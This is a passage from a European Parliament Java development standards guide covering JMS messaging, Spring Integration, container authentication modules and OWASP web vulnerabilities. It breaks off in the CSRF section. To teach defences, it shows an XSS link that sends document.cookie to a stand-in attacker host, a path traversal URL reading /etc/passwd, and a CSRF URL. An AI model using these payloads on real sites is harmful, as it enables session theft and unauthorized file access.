European Parliament supports using JMS to build messaging system withinJava software development projects under the following circumstances:

• The provider wants the components not to depend on information aboutother components interfaces, so components can be easily replaced.

• The provider wants the application to run whether or not all componentsare up and running simultaneously.

• The application business model allows a component to send informationto another and to continue to operate without receiving an immediateresponse.

JMS should not be use for intra-application purposes. It is better to useSpring integration instead.

2.5.2.2.2. Standard message broker implementation

Apache ActiveMQ Artemis 1.5.x is the supported standard implementationto build asynchronous messaging system for Java software developmentprojects in European Parliament.

Amongst its main features are the fully compliance with JMS 1.1 and JMS 2.0API and the Spring support.

2.5.2.2.3. JMS API concepts

2.5.2.2.3.1. JMS API architecture

A JMS application is composed of the following parts:

• A JMS provider is a messaging system that implements the JMS interfaces and providesadministrative and control features.

• JMS clients are the programs or components, written in the Java programming language,that produce and consume messages.

• Messages are the objects that communicate information between JMS clients.

• Administered objects are JMS objects configured for the use of clients. The two kinds ofJMS administered objects are destinations and connection factories.

2.5.2.2.3.2. JMS messaging styles

There are two main styles of asynchronous messaging that a JMS application can use: thePoint-to-Point (PTP) pattern (also known as Message Queue pattern) and the Publish-Subscribe (Pub/Sub) pattern. These two styles of messaging are often referred to as MessagingDomains.

An application can combine both styles of messaging. The JMS API provides interfaces that arespecific to each, and it allows to use the same code to send and receive messages using eitherthe PTP or the Pub/Sub style. The destinations used remain specific to one style and thebehavior of the application will depend in part on whether a queue or a topic is used, makingthe application flexible and reusable.

Point-to-Point messaging style

PTP systems are built on the concept of message queues, senders, and consumers. Eachmessage is addressed to a specific queue, and receiving clients extract messages from thequeues established to hold their messages. Queues retain all messages sent to them until themessages are consumed or expire.


Page 45 of 103

PTP messaging has the following characteristics.

• There can be multiple consumers of a queue, but each message can only be received by asingle consumer.

• The consumer can fetch the message whether or not it was running when the client sentthe message.

Figure 1. Point-to-Point Messaging

Use PTP messaging when every message you send must be processed successfully by oneconsumer.

Publish/Subscribe messaging style

The Publish-Subscribe model defines how JMS clients address messages to a single destinationin a content-based hierarchy. This destination is known as a topic.

Each topic can have multiple consumers, or subscribers, and unlike point-to-point messaging,every subscriber receives any message published to the topic.

Publishers and subscribers can dynamically publish or subscribe to the topic. The system takescare of distributing the messages arriving from a topic’s multiple publishers to its multiplesubscribers.

With Pub/Sub messaging, it is important to distinguish between the consumer that subscribesto a topic (the subscriber) and the subscription that is created. The consumer is a JMS objectwithin an application, while the subscription is an entity within the JMS provider.

Normally, a topic can have many consumers, but a subscription has only one subscriber.Subscriptions can optionally be durable which means they retain a copy of each message sentto the topic until the subscriber consumes them.

Figure 2. Publish-Subscribe Messaging

Use Pub/Sub messaging when each message can be processed by any number of consumers (ornone).


Page 46 of 103

2.5.2.2.3.3. JMS API programming model

The main interfaces provided by the API are as follows:

• Administered objects:

◦ ConnectionFactory - object used by a client to create a Connection to a provider.

◦ Destination - object a client used to specify the target of messages it produces and thesource of messages it consumes (queues in the PTP messaging style and topics in thePub/Sub messaging style).

• JMSContext - object combining a Connection and a Session in a single object:

◦ Connection - encapsulates a active connection to a JMS provider.

◦ Session - single-threaded context for producing and consuming messages. Sessions areused to create message producers, message consumers, messages, queue browsers andtemporary destinations.

• Message producer - object created through JMSProducer interface by a JMSContext or aSession that is used for sending messages to a destination.

• Message consumer - object created through JMSConsumer interface by a JMSContext or aSession that is used for receiving messages to a destination.

Figure 3. JMS API Programming Model

A typical JMS client using the JMS API executes the following JMS setup procedure:

• Use JNDI to find a ConnectionFactory object.

• Use JNDI to find one or more Destination objects.

• Use the ConnectionFactory to create a JMSContext object.

• Use the JMSContext to create the JMSProducer and JMSConsumer objects needed.

• Delivery of messages is started automatically.

At this point a client has the basic JMS setup needed to produce and consume messages.


Page 47 of 103

2.5.2.2.3.4. JMS messages

The ultimate purpose of a JMS application is to produce and consume messages that can thenbe used by other software applications. JMS messages have a basic format that is simple buthighly flexible, allowing you to create messages that match formats used by non-JMSapplications on heterogeneous platforms.

A JMS message can have three parts: a header, properties, and a body. Only the header isrequired.

The JMS API defines six different types of messages. Each message type corresponds to adifferent message body. These message types allow you to send and receive data in manydifferent forms and provide compatibility with existing messaging formats.

Allowed message types

In European Parliament, only message types which do NOT require sending serialized objectsover the wire are authorized.

Message Type Body Contains

Message Root interface for all JMS messages. Composed of header fields andproperties only. This message type is useful when a message body is notrequired.

TextMessage A java.lang.String object (e.g. content of an XML file).

BytesMessage A stream of uninterpreted bytes. This message type is for literallyencoding a body to match an existing message format.

Forbidden message types

Message types requiring sending serialized objects over the wire areforbidden. These message types causes performance issues(serialize/transport/deserialize), introduce a strong coupling betweenproducers and consumers and increase the complexity of the system.Moreover they prevent adding a mediation tier (such as Spring Integration) tomanage messages in an application-agnostic fashion, solely based on content.

Table 3. Forbidden message types

ObjectMessage A Serializable object in the Java programming language.

MapMessage A set of name-value pairs, with names as String objects and values asprimitive types in the Java programming language. The entries can beaccessed sequentially by enumerator or randomly by name. The order ofthe entries is undefined.

StreamMessage A stream of primitive values in the Java programming language, filled andread sequentially.

Standard message type

It is mandatory to use TextMessage object to exchange data to replace thesemessage types. Objects should be serialized to e.g. XML or JSON usingoptimized mechanisms (see related standards on XML and JSON handling).

2.5.2.3. References


Page 48 of 103


The Java Messaging Service 2.0 API is defined in JSR-343 and is a a part of the Java EE 7specification.


Name Reference

Apache ActiveMQ Artemis http://activemq.apache.org/artemis/

JSR 343: JavaTM Message Service2.0



Page 49 of 103

http://activemq.apache.org/artemis/


2.5.3. Mediation / Enterprise Integration Patterns (EIP)


Spring Integration provides a model for implementing enterprise integration solutions,facilitating asynchronous message-driven behaviour and promoting loosely coupling andseparation of concerns between business logic and integration logic.

Spring Integration is the standard supported library for mediation needs.

2.5.3.2. Standards

2.5.3.2.1. Scope

Spring Integration provides an extension of the Spring programming model to supportEnterprise Integration Patterns.

Spring Integration applications deal with the notion of a message that’s travelling throughchannels. The message starts its life at an endpoint, typically greeted by an adapter. As themessage moves through the processing pipeline, it may be transformed, routed to otherchannels, split up, responded to, aborted, or merged with other messages.

The message class is a wrapper around the payload of the message being processed. It’s aconvenient place to get access to the payload itself as well as the message headers, which youcan inspect or change.

2.5.3.2.2. Configuration

Regarding Spring Integration, European Parliament favours the usage of XML configurationrather than Java annotations in order to keep a single place for the configuration of all theelements of an integration pattern.

You can also split your multiple integration scenarios into different XML configuration files, oneper scenario.

2.5.3.2.3. Separate the business logic and integration logic

Your business logic must stay outside the Spring Integration elements; i.e. do not build uponthe Spring Integration components in order to add business logic into them. Keep the businesscode inside dedicated POJO that you will interconnect with integration components. This inorder to avoid a tightly coupling of your code with the code of the framework, with theconsequence of a harder maintenance in the case of evolutions of the framework, and in orderto maintain a good level of testability.

2.5.3.2.4. Separate the cross-cutting concerns

The cross-cutting concerns, e.g. logging or monitoring, can be easily placed into separateintegration components using wire-tap interceptors.

The asynchronicity of a wire-tap interceptor depends on the type of channelto which it is routed. A wire-tap interceptor that sends to a direct channelwill be synchronous.

2.5.3.2.5. Favour the namespaces in the configuration

Spring Integration offers dedicated xml tags for most of its configurable classes. Prefer theirusage rather than Spring core xml tags, because they make the Spring Integration configurationmore concise and more readable, and thus easier to maintain.


Page 50 of 103

2.5.3.3. References


Spring Integration is a standard and supported approach for integrating various modules of thesame global project.

Spring Integration is a standard and supported approach for implementing EnterpriseIntegration Patterns in general and in particular providing a mediation layer: allowingconcurrent service versions to be proposed to client; allowing protocol bridging (REST/SOAP…).

A Spring Integration on a Tomcat server can be part of a project solution but could be aseparate project handling the mediation need of multiple projects. These projects should beunder a single authority.


Name Reference

Spring Integration https://spring.io/projects/spring-integration


Page 51 of 103

https://spring.io/projects/spring-integration





2.6. SECURITY

2.6.1. Application Security

2.6.1.1. Purpose

European Parliament supports several configurations in order to easily enable theauthentication and authorization services on application servers through the different securitycomponents available at the European Parliament.

European Parliament has developed security connectors based on JAAS (Java Authenticationand Authorization Service) login modules.

In Apache Tomcat up to 8.0.x, they are leveraged through the use of Tomcat’s JaasRealm andthrough the use of EP Security Authenticators (Tomcat-specific security request interceptors).In Apache Tomcat 9.0.x and above (8.5.x will not be deployed in European Parliament) theyare leveraged through the use of EP Security JASPIC (JSR-196) ServerAuthModules.


Within this document, several important words are recurrent, they are defined below:

• Authentication: process of determining whether someone or something is, in fact, who orwhat it is declared to be. Authentication is commonly done through the use of logonpasswords. Knowledge of the password is assumed to guarantee that the user is authentic.Logically, authentication precedes authorization.

• Authorization: the process of giving someone permission to do or have something.Assuming that someone is authenticated to a computer operating system application, thesystem or application may want to identify what resources the user can be given during hissession. Logically, authorization is preceded by authentication.

Neither Authentication not Authorization mechanisms are to be implementedby the applications. Applications must be consumers of the containermechanisms, e.g. through the servlet API.

This document explains the different configurations which are available in order to secure aServlet-based application within the European Parliament’s infrastructure. (In this case, securemeans enable the authentication and authorization services). It focuses on several scenarios:

• internal applications: this chapter deals with the different configurations which areavailable when your application is located within the EP’s internal network.

• external applications: this chapter deals with the different configurations which areavailable when your application is located within the EP’s DMZ.

• test purposes: this chapter deals with the different configurations which are available fortesting purposes.

2.6.1.3. Servlet container Security

Applications deployed in servlet containers (Apache Tomcat) must be secured based oncontainer’s JAAS mechanisms.

JSR-196 (JASPIC) can leverage the same modules through a ServerAuthModuleand is the de-facto mechanism for Apache Tomcat >= 9.x.

2.6.1.3.1. Apache Tomcat ⇐ 8.0.x

A portable and testable solution based on a standard supported by the servlet containers


Page 52 of 103

deployed in the EP infrastructure was required. Apache Tomcat’s Servlet container (Catalina)and its security mechanism for Http requests securisation is the standard mechanism to use.This mechanism is based on Catalina Authenticators, and Catalina Realms and historicallypredates the integration of JAAS in JavaEE. Apache Tomcat provides a JAAS Catalina Realmallowing for use of the JAAS Login Modules as a standard mechanism. Since JAAS in itself hasno direct hook to handle Http requests, this mechanism must be complemented to handleHTTP requests. Because these Authenticators' sources were available and Apache-Licensed, theEuropean Parliament chose to implement specific mechanisms (SpNego/Kerberos v5, WebSSO…etc) using specific Catalina Authenticators, and the JAAS Catalina Realm.

European Parliament provides specific EP Security Catalina Authenticatorsand specific EP Security JAAS Login Modules, which can be configuredthrough external configuration files. The EP Security CatalinaAuthenticators just deal with scrutinizing incoming Http requests, takingactions (redirection, sending errors) if necessary, and finally delegating to EPSecurity JAAS Login modules for chained Authentication/Authorization.

2.6.1.3.2. Apache Tomcat >= 9.x

From Apache Tomcat 9.x and on, the servlet container supports JSR 196 (JASPIC). Thismechanism replaces EP Security Catalina Authenticators, as well as Catalina Realms with EPSecurity JASPIC ServerAuthModules from EP Security JASPIC ServerAuthProviders. To keep acommon configuration/setup with previous versions of Apache Tomcat, it was chosen toimplement specific mechanisms (SpNego/Kerberos v5, WebSSO… etc) using a specific EPSecurity JASPIC ServerAuthProvider, which will in turn leverage the EP Security JAAS Loginmodules.

European Parliament provides specific EP Security JASPICServerAuthProviders and specific EP Security JAAS Login Modules, whichcan be configured through external configuration files. The EP SecurityJASPIC ServerAuthProviders just deal with scrutinizing incoming Httprequests, taking actions (redirection, sending errors) if necessary, and finallydelegating to EP Security JAAS Login modules for chainedAuthentication/Authorization. In a middle term evolution, JAAS loginmodules could be dropped altogether, and authentication could be donedirectly in the ServerAuthModules.

2.6.1.4. EP Security Authenticators or EP Security JASPIC ServerAuthModules: GeneralDescription Of The Mechanism

2.6.1.4.1. Valid HTTP Request and Authentication/Authorization success


Page 53 of 103

Figure 4. Valid HTTP Request and Authentication/Authorization success sequence

2.6.1.4.2. Valid HTTP Request and Authentication/Authorization failure


Page 54 of 103

Figure 5. Valid HTTP Request and Authentication/Authorization failure sequence

2.6.1.4.3. Invalid HTTP Request

Figure 6. Invalid HTTP Request


Page 55 of 103

2.6.1.4.4. Request validity and negotiation

What "Check request validity" is, and the returned HTTP status code in this simple introductionwas voluntarily omitted in this simple introduction.

Depending on the possible mechanism(s), the check for request validity may be done alongmultiple requests or redirections.

If you think about "Check request validity" as the full process of establishing that a request isvalid and ready to be passed to the Login Modules, then the status code in case of a failure tocheck it will be 403.

On the other side, if you consider that "Check request validity" can be called by multiplesubsequent incoming requests (an Authentication Challenge like BASIC or SPNEGO forexample…), then the response status code can for example be 401 (with an appropriate WWW-Authenticate header).

See annexes for detailed login sequences.

2.6.1.5. Project With Externalized Developments

When project’s development is externalized out of EP premises, project teams will not haveaccess to the internal authentication/authorization authorities.

The aforementioned technologies and configuration have precisely been chosen in order toallow a decoupling between the Authentication/Authorization mechanisms and the application.

A servlet-based web application must therefore use the mock implementations of EPAuthenticators or EP JASPIC ServerAuthProviders.

Additionally, JAAS must be used for Authentication / Authorization, using the appropriateconfiguration system for the target JavaEE container (for example, using a JAASRealm inTomcat ⇐ 8.0.x).

An externally developed application can then be delivered with a fully functional and standardAuthentication/Authorization integration, therefore allowing internal integration teams toswitch the Authentication/Authorization mechanisms without having to alter any code, andsimply by configuration.

2.6.1.6. Internal Applications

This chapter describes the different possibilities which are available when your application isdeployed within the EP’s internal network.

2.6.1.6.1. Authentication and authorization through Active Directory

In this configuration, authentication is made through the EP Active Directory and authorizationis also retrieved from the same Active Directory.

The login module is named ADLoginModule.

By default, with this module, every Active Directory group the user is member of (evenrecursively) can be considered a role.

However this connector also permits the mapping between principals (deduced from ActiveDirectory sAMAccountName and groups) and application roles. This can be useful if we do notwant to use the Active Directory group as application roles or if we want to map several groupsor users within one application role.

This login module has been developed in European Parliament (ep-security libraries).


Page 56 of 103

Figure 7. Active Directory Login Module

This solution can only be used with specific validation, as theSPNego/Kerberos v5 mechanism described below must be prefered.

2.6.1.6.2. Authentication through SPNego/Kerberos v5 and authorization through Active Directory

In this configuration, authentication is made (after a proper SPNEGO Negotiation with theclient) against a Kerberos KDC (which happens to be Active Directory in the EuropeanParliament), and authorization is retrieved from Active Directory through its LDAP interface.

A specific Catalina Authenticator or JASPIC ServerAuthModule and a specific JAAS LoginModulenamed SpnegoADLoginModule are required to use this authentication mechanism.

By default, with this module, every Active Directory group the user is member of (evenrecursively) can be considered a role.

However this connector allows also the mapping between principals (deduced from user id andgroups) and application roles. This is the standard way to decouple the application’s roles fromthe corresponding Active Directory group names.

This login module has been developed by EP Foundry Team (ep-security-epauth libraries).


Page 57 of 103

Figure 8. SPNego/Kerberos v5/Active Directory Login Module

2.6.1.6.3. Authentication through Active Directory and authorization through a database

In this configuration, authentication is made through Active Directory and authorization isretrieved from a database.

The login module is named ADDBLoginModule. This login module has been developed by EPFoundry Team (ep-security libraries).


Page 58 of 103

Figure 9. Active Directory + Database Login Module

This mechanism can only be used by applications which must dynamically manage theassociation between the users and the roles.

2.6.1.6.4. Authentication and authorization through WebSSO

The aim of a WebSSO infrastructure is to deliver the authentication through a federatedauthentication service.

How does WebSSO work?

When a user attempts to access a secure application, the request is intercepted todeterminate whether the user has already been authenticated against the WebSSO.

If he is, the user’s credentials are checked against a central user profile (the SSO directorywhich is a copy of the application roles from the Active Directory and a policy store). Thisinteraction will determine whether the user is entitled to access the requested resource. Ifappropriate, the user is finally granted access to the resource. If the user cannot beauthenticated, he is redirected to a WebSSO login page to enter his credentials.


Page 59 of 103

Figure 10. WebSSO Login Module

A specific Catalina Authenticator or JASPIC ServerAuthModule and a specific JAAS LoginModulenamed WebSsoLoginModule have been developed by EP Foundry Team (ep-security-webssolibraries).

It is recommended to use this configuration (if it is possible) when there is a need for acommon federated authentication mechanism.

Moreover, applications exposed through EPNet (gateway allowing the accessto internal applications from outside of EP’s premises) need to use theWebSSO.

2.6.1.7. External Applications

This chapter describes the different possibilities which are available when your application islocated within the EP’s DMZ network.

2.6.1.7.1. Authentication and authorization through a database

In this configuration, authentication and authorization are made through a database.

The login module is named DBLoginModule. It is provided by default within the applicationservers.


Page 60 of 103

Figure 11. Database LoginModule

It is strongly forbidden to store the password in clear text within the database. The passwordmust be hashed. Do not use weak algorithms such as MD5/SHA1, favor safer alternatives, suchas SHA-256 or better.

2.6.1.8. Testing Purposes

For testing purposes, it is a best practice to try and be independent from the otherinfrastructure components. This chapter describes the different possibilities which are at yourdisposal in order to achieve this goal when dealing with application security.

The mechanisms described here must be used with BASIC authentication.

2.6.1.8.1. Authentication and authorization through a properties file

In this configuration, authentication and authorization are made through a properties file. Thelogin module is named (Mock)PropertiesLoginModule. This basic login module is part of thebase ep-security libraries. It is also provided in the Mock components for externalizeddevelopments.


Page 61 of 103

Figure 12. Properties Login Module

This configuration is usable for testing purposes only.

2.6.1.8.2. Authentication and authorization through an xml file

In this configuration, authentication and authorization are made through an xml file. The loginmodule is named (Mock)XmlLoginModule. This basic login module is part of the base ep-security libraries. It is also provided in the Mock components for externalized developments.

Figure 13. XML Login Module

This configuration is usable for testing purposes only.


Page 62 of 103

2.6.1.9. Annexes

2.6.1.9.1. References

Specification/Norm Description

RFC 4178 The Simple and Protected GSS-API Negotiation Mechanism(SPNEGO)

RFC 4559 SPNEGO-based Kerberos (…) HTTP Authentication in MicrosoftWindows

RFC 4511 Lightweight Directory Access Protocol (LDAP): The Protocol

JSR 196 JavaTM Authentication Service Provider Interface for Containers(JASPIC)

2.6.1.9.2. Detailed login sequences

2.6.1.9.2.1. BASIC Authentication and ADLoginModule, ADDBLoginModule, DBLoginModule,PropertiesLoginModule or XmlLoginModule

Replace the "Auth. Source" in the below sequence with any relevantAuthentication/Authorization source (AD, AD+DB, DB, Properties or Xml).

Figure 14. BASIC + JAAS sequence

2.6.1.9.2.2. SpnegoADLoginModule


Page 63 of 103

Figure 15. SPNEGO + AD sequence

2.6.1.9.2.3. WebSsoLoginModule


Page 64 of 103

Figure 16. WebSSO sequence


Page 65 of 103

2.6.2. OWASP Security


Most of the time, the security is introduced lately in the lifecycle of an IT project, whereasthis topic must be tackled since the first steps of the project.

Moreover, the team members in charge of developing a web application are not always awareof the different potential vulnerabilities.

The aim of this document is to present the typical potential web application securityvulnerabilities the European Parliament is exposed to.

All the vulnerabilities which are described within this document are based on the reports ofseveral non-profit organizations/consortiums:

• OWASP (Open Web Application Security Project): a worldwide free and open communityfocused on improving the security of application software,

• WASC (Web Application Security Consortium): an international group of experts, industrypractitioners, and organizational representatives who produce open source and widelyagreed upon best-practice security standards for the World Wide Web.

For each vulnerability, an explanation is given, and then, different ways to get rid of thevulnerability are described.

2.6.2.2. Glossary

Abbreviation Description

CSRF Cross Site Request Forgery

OWASP Open Web Application Security Project

SSL Secure Socket Layer

TLS Transport Layer Security

XSS Cross Site Scripting

WASC Web Application Security Consortium

2.6.2.3. A1: Injection

Injection flaws occur when an application sends untrusted data to an interpreter. Injectionflaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP,Xpath, or NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc.

Injection flaws are easy to discover when examining code, but frequently hard to discover viatesting. Scanners and fuzzers can help attackers find injection flaws.

2.6.2.3.1. Command Injection

2.6.2.3.1.1. Description

Command injection is an attack in which the goal is execution of arbitrary commands on thehost operating system via a vulnerable application. Command injection attacks are possiblewhen an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to asystem shell.

In this attack, the attacker-supplied operating system commands are usually executed with theprivileges of the vulnerable application. Command injection attacks are possible largely due toinsufficient input validation.


Page 66 of 103

This attack differs from Code Injection, in that code injection allows the attacker to add hisown code that is then executed by the application. In Code Injection, the attacker extends thedefault functionality of the application without the necessity of executing system commands.

2.6.2.3.1.2. Protections

To protect your application against Injection attacks.

• instead of calling external scripts from your application to achieve afunctionality, prefer to use of an equivalent java library or Java Runtimefunctionality.

• Use recognized wrappers for running commands, do not use low-levelaccess.

• do not use an interpreter such as cmd.exe or /bin/sh.

• validate the incoming parameters (e.g. user ids should containalphabetical characters and numbers only), and possibly use an indexmap, instead of the parameter value.

beware that index maps, while possibly preventing the execution of roguecommands, can be vulnerable to other dictionary-based attacks, so try anduse keys with high variability in these index maps (avoid incrementednumbers/ids).

2.6.2.3.2. Calls to the database backend via SQL (SQL injection) or ORM (ORM injection)

2.6.2.3.2.1. SQL injection

Description

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data fromthe client to the application. A successful SQL injection exploit can read sensitive data fromthe database, modify the database (Insert/Update/Delete), execute administration operationson the database (such as database shutdown) and recover the content of a given file presenton the database’s filesystem.

Protections

There are different ways to protect your application against SQL injection:

• Use a standard input validation mechanism to validate all input data forlength, type, syntax and business rules before accepting the data to bedisplayed or stored. Use an "accept known good" validation strategy.Reject invalid input rather than attempting to sanitize potentially hostiledata,

• Use strongly parameterized query APIs with placeholder substitutionmarkers such as PreparedStatement, or use ORM (though read carefullythe ORM injection below),

• Enforce least privilege when connecting to databases.

2.6.2.3.2.2. ORM injection

Description

A common thought is that the ORMs are immune to SQL injection. Even though ORM is betterthan raw SQL by having a smaller surface exposed to the threat, in fact, it is not immune,because Hibernate includes a subset of SQL named HQL. Moreover, Hibernate allows in some


Page 67 of 103

corner cases to manipulate SQL. Most of the time, the ORM layer only minimally manipulatesthe inbound query before handing it off to the database for processing.

Protections

There are different ways to protect your application against ORM injection:

• Avoid native queries or if absolutely necessary ensure that all nativequeries are properly escaped or do not contain user input.

• Ensure that all ORM calls which translate into dynamic queries are re-written to be bound parameters.

• Enforce least privilege when connecting to databases.

2.6.2.3.3. LDAP injection


LDAP injection is quite similar to SQL injection. LDAP injection is an attack to exploit webapplications which construct LDAP statements based on user input. This could result in theexecution of arbitrary commands such as granting permissions to unauthoriezd queries andcontent modification inside the LDAP tree.


There are different ways to prevent LDAP injection:

• If it is possible, to connect to the directory, use an account which is onlyallowed to read the records,

• Enforce stringent input validation functions.

2.6.2.3.4. XPath injection


XPath is a query language to retrieve information from a XML file. XPath injection is similar toSQL injection. It is an attack to exploit web applications which perform XPATH queries fromuser input.


There are different ways to prevent XPath injection:

• Input used into an XPATH expression must not contains any of thecharacters below:

( ) = ' [ ] : , * / WHITESPACE

• Using variable into XPATH expression with a variable resolver enabledevaluator can help preventing injections (like prepared statement for SQLinjection).

• XSLT expansions must not contain any user input, or if they do, theexistence of the file must be tested, and it must be ensured that the filesare within the bounds set by the Java 2 Security Policy.


Page 68 of 103

2.6.2.4. A2: Broken Authentication And Session Management

2.6.2.4.1. Description

Developers frequently build custom authentication and session management schemes, butbuilding these correctly is hard.

As a result, these custom schemes frequently have flaws in areas such as logout, passwordmanagement, timeouts, remember me, secret question, account update, etc.

Finding such flaws can sometimes be difficult, as each implementation is unique.

Here are some typical questions raised to identify such a vulnerability:

• User authentication credentials aren’t protected when stored using hashing or encryption.

• Credentials can be guessed or overwritten through weak account management functions(e.g., account creation, change password, recover password, weak session IDs).

• Session IDs are exposed in the URL (e.g., URL rewriting).

• Session IDs are vulnerable to session fixation attacks.

• Session IDs don’t timeout, or user sessions or authentication tokens, particularly singlesign-on (SSO) tokens, aren’t properly invalidated during logout.

• Session IDs aren’t rotated after successful login.

• Passwords, session IDs, and other credentials are sent over unencrypted connections. SeeA6.

2.6.2.4.2. Protections

Applications must NEVER implement custom authentication and sessionhandling (login/logout/session expiration).

Standardized Authentication/Authorization and session managementmechanisms must be used, such as (in European Parliament) EP SecurityEPAuth or EP Security Web SSO.

Applications must always use the latest versions of runtimes (Applicationservers, Messaging brokers, databases…etc) and frameworks, as those usuallyprovide built-in solutions for this kind of vulnerabilities.

XSS flaws (see below) must also be avoided, as they can be used to stealsession IDs.

2.6.2.5. A3: Cross-Site Scripting (XSS)


2.6.2.5.1.1. Theoretical description

XSS is one of the most widespread security issues.

Unlike most attacks which involve two parties, the attacker and the web site, or the attackerand the victim client, the XSS attack involves three parties: the attacker, the web site and thevictim client.

During a XSS attack, a vulnerable script (mainly Javascript) is executed by the victim client’sbrowser.

The goal of XSS attack can be:


Page 69 of 103

• to steal any sensitive information which can identify the client to the website. ( a cookiefor example ),

• to deface a web site,

• to introduce worms…

A kind of XSS attack is based on HTTP Response Splitting attack (also named CRLF attack).

2.6.2.5.1.2. Technical description

The best way to understand how a XSS attack works is to describe a simple one based on aJavascript code which steals a cookie.

Suppose that a page reads a HTTP parameter and displays it.

The HTTP request is:

GET /index.do?name=Alice HTTP/1.0Host: www.vulnerablewebsite.europarl.europa.eu

The HTML result of the previous HTTP request is:

<HTML><Title>Welcome</Title>Hi Alice<BR></HTML>

Instead of submitting a real name, a javascript command can be submitted, and this one willbe invoked by the victim client browser.

In this case, the request is:

GET /index.do?name=<script>alert(document.cookie)</script> HTTP/1.0Host: www.vulnerablewebsite.europarl.europa.eu

The HTML result of the previous HTTP request is:

<HTML><Title>Welcome</Title>Hi <script>alert(document.cookie)</script><BR></HTML>

The javascript code accesses to the victim client’s cookie.

The victim client’s cookie interprets the response as a HTML page containing a piece ofJavaScript. This code allows the access to all the cookies belonging towww.vulnerablewebsite.europarl.europa.eu and displays them in a pop-up.

Of course, during a real attack, instead of displaying the cookies in a pop-up, they are


Page 70 of 103

automatically sent to an attacker’s web site. So, from a script, the attacker can use them.

A malicious link could be:

http://www.vulnerablewebsite.europarl.europarl.europa.eu/welcome.html?name=<script>window.open("http://www.attacker.site/attack.htm?cookie="%20document.cookie)</script>

The HTML result of the previous link is:

<HTML><Title>Welcome</Title>Hi<script>window.open("http://www.attacker.site/attack.htm?cookie="%20document.cookie)</script><BR></HTML>


The best protection for XSS attacks is data validation.

• Input validation: use a standard input validation mechanism to validateall data input (for length, type, syntax: frameworks for user interfaceprovide this functionality).

• Output encoding: ensure that all user-supplied data is appropriatelyentity encoded before rendering (do not allow an attacker to choose thisfor the users).

2.6.2.6. A4: Insecure Direct Object Reference

2.6.2.6.1. Definition

A direct object reference occurs when a developer exposes a reference to an internalimplementation object, such as a file, directory, database record, or key, as a URL or formparameter. An attacker can manipulate direct object references to access other objectswithout authorization, unless an access control check is in place.

For example, the following URL accesses a file which is stored on the file system.

http://www.vulnerablewebsite.europarl.europa.eu/application?file=Alice-private-data.pdf

If no control check is enabled, an attacker can access to another file then he is not allowed toaccess.


Page 71 of 103

http://www.vulnerablewebsite.europarl.europa.eu/application?file=Bob-private-data.pdf

Moreover, this kind of attack can be combined to another one named directory traversal whichconsists of accessing restricted directories and executing commands (known as commandexecution attack) (or reading files) outside of web server’s root directory.

Directory traversal is also known as the ../ (dot dot slash) attack due to the fact the attackeruses these characters to achieve his attack.

For example, by sending the following URL, an attacker could retrieve the /etc/passwordwhich contains all the users define on the operating system.http://www.vulnerablewebsite.europarl.europa.eu/application?file=../../../../etc/passwd

The term "../" stands for "one directory up". Therefore, the string ../../../../etc/passwdmeans "go four directories up and retrieve the file passwd. The attacker needs to guess howmany directories to climb in order to get to the desired directory. Guessing the exactcombination is very easy. The attacker sends multiple requests until the desired result isachieved.

2.6.2.6.2. Protection

The best protection is to avoid exposing direct object references to users byusing an index, indirect reference map, or other indirect method that is easyto validate. If a direct object reference must absolutely be used, ensure thatthe user is authorized before using it.

Establishing a standard way of referring to application objects is important:

• avoid exposing private object references to users whenever possible suchas filenames,

• validate any private object references extensively with an "accept knowngood" approach,

• verify authorization to all referenced objects.

The best solution is to use an index value or a reference map to preventparameter manipulation attacks.

Example: http://www.website.europarl.europa.eu/application?file=1

2.6.2.7. A5: Security Misconfiguration


Security misconfiguration can happen at any level of an application stack, including theplatform, web server, application server, database, framework, and custom code.

Developers and system administrators need to work together to ensure that the entire stack isconfigured properly.

Automated scanners are useful for detecting missing patches, misconfigurations, use of defaultaccounts, unnecessary services, etc.


Page 72 of 103

http://www.vulnerablewebsite.europarl.europa.eu/application?file=../../../../etc/passwd
















This is also related to A2-Broken Authentication and Session Management.

The best way to prevent Security misconfigurationThis is by a properlypatched and updated infrastructure, as well as an automated build andrelease tooling, with predictable and reproducible output, based on givensources.

Automation must use placeholders in security configuration and never exposeproduction security configuration out of its dedicated environments.

No hard-coded passwords or references should be set, and credentials mustchange between all environments.

A proper use of Configuration Management tools and automation must beused to ensure that behaviour, and applications must externalize security-related configuration in well-identified configuration items, to ensure thatautomation.

2.6.2.8. A6: Sensitive Data Exposure


The most common flaw is simply not encrypting sensitive data. When crypto is employed, weakkey generation and management, and weak algorithm usage is common, particularly weakpassword hashing techniques.

Browser weaknesses are very common and easy to detect, but hard to exploit on a large scale.

External attackers have difficulty detecting server side flaws due to limited access and theyare also usually hard to exploit.


Here are ways to prevent Sensitive data exposure:

• Considering the threats you plan to protect this data from (e.g., insiderattack, external user), make sure you encrypt all sensitive data at restand in transit in a manner that defends against these threats. Sensitivedata should not only rely on transport encryption (e.g. https). Specificencryption of payload elements can prove more useful.

• Don’t store sensitive data unnecessarily. Discard it as soon as possible.Data you don’t have can’t be stolen.

• Ensure strong standard algorithms and strong keys are used, and properkey management is in place.

• Ensure passwords are stored with an algorithm specifically designed forpassword protection.

• Disable autocomplete on forms collecting sensitive data and disablecaching for pages that contain sensitive data.

2.6.2.9. A7: Missing Function Level Access Control


Applications do not always protect application functions properly. Sometimes, function levelprotection is managed via configuration, and the system is misconfigured. Sometimes,developers must include the proper code checks, and they forget.


Page 73 of 103

Detecting such flaws is easy. The hardest part is identifying which pages (URLs) or functionsexist to attack.


• Think about the process for managing entitlements and ensure you canupdate and audit easily. Don’t hard code.

• The enforcement mechanism(s) should deny all access by default,requiring explicit grants to specific roles for access to every function.

• If the function is involved in a workflow, check to make sure theconditions are in the proper state to allow access.

EP Security libraries and/or Spring Security is the standard for dealing withHTTP Methods control (REST web services)

Spring Security Method-level annotations can allow setting which rolesand/or ACLs (application-specific) give access to a precise functionality.

2.6.2.10. A8: Cross-Site Request Forgery (CSRF)

2.6.2.10.1. Definition

The aim of this attack is for the attacker to make the user perform an action unintentionally,for illegitimate uses.

For example, by this link, a user removes the content of page 1:

http://vulnerablewebsite.europarl.europa.eu/Page 1?action=removeContent

This action can be performed even if the user is not authenticated. In fact, it can be donewithout the user’s knowledge.

This attack can be:

• sent by email,

• published on a web site,

• launched from a XSS attack to open automatically a specific page.



Page 74 of 103

Unfortunately, no universal solution is available to protect a web applicationagainst this kind of attack. However the following protections are possible:

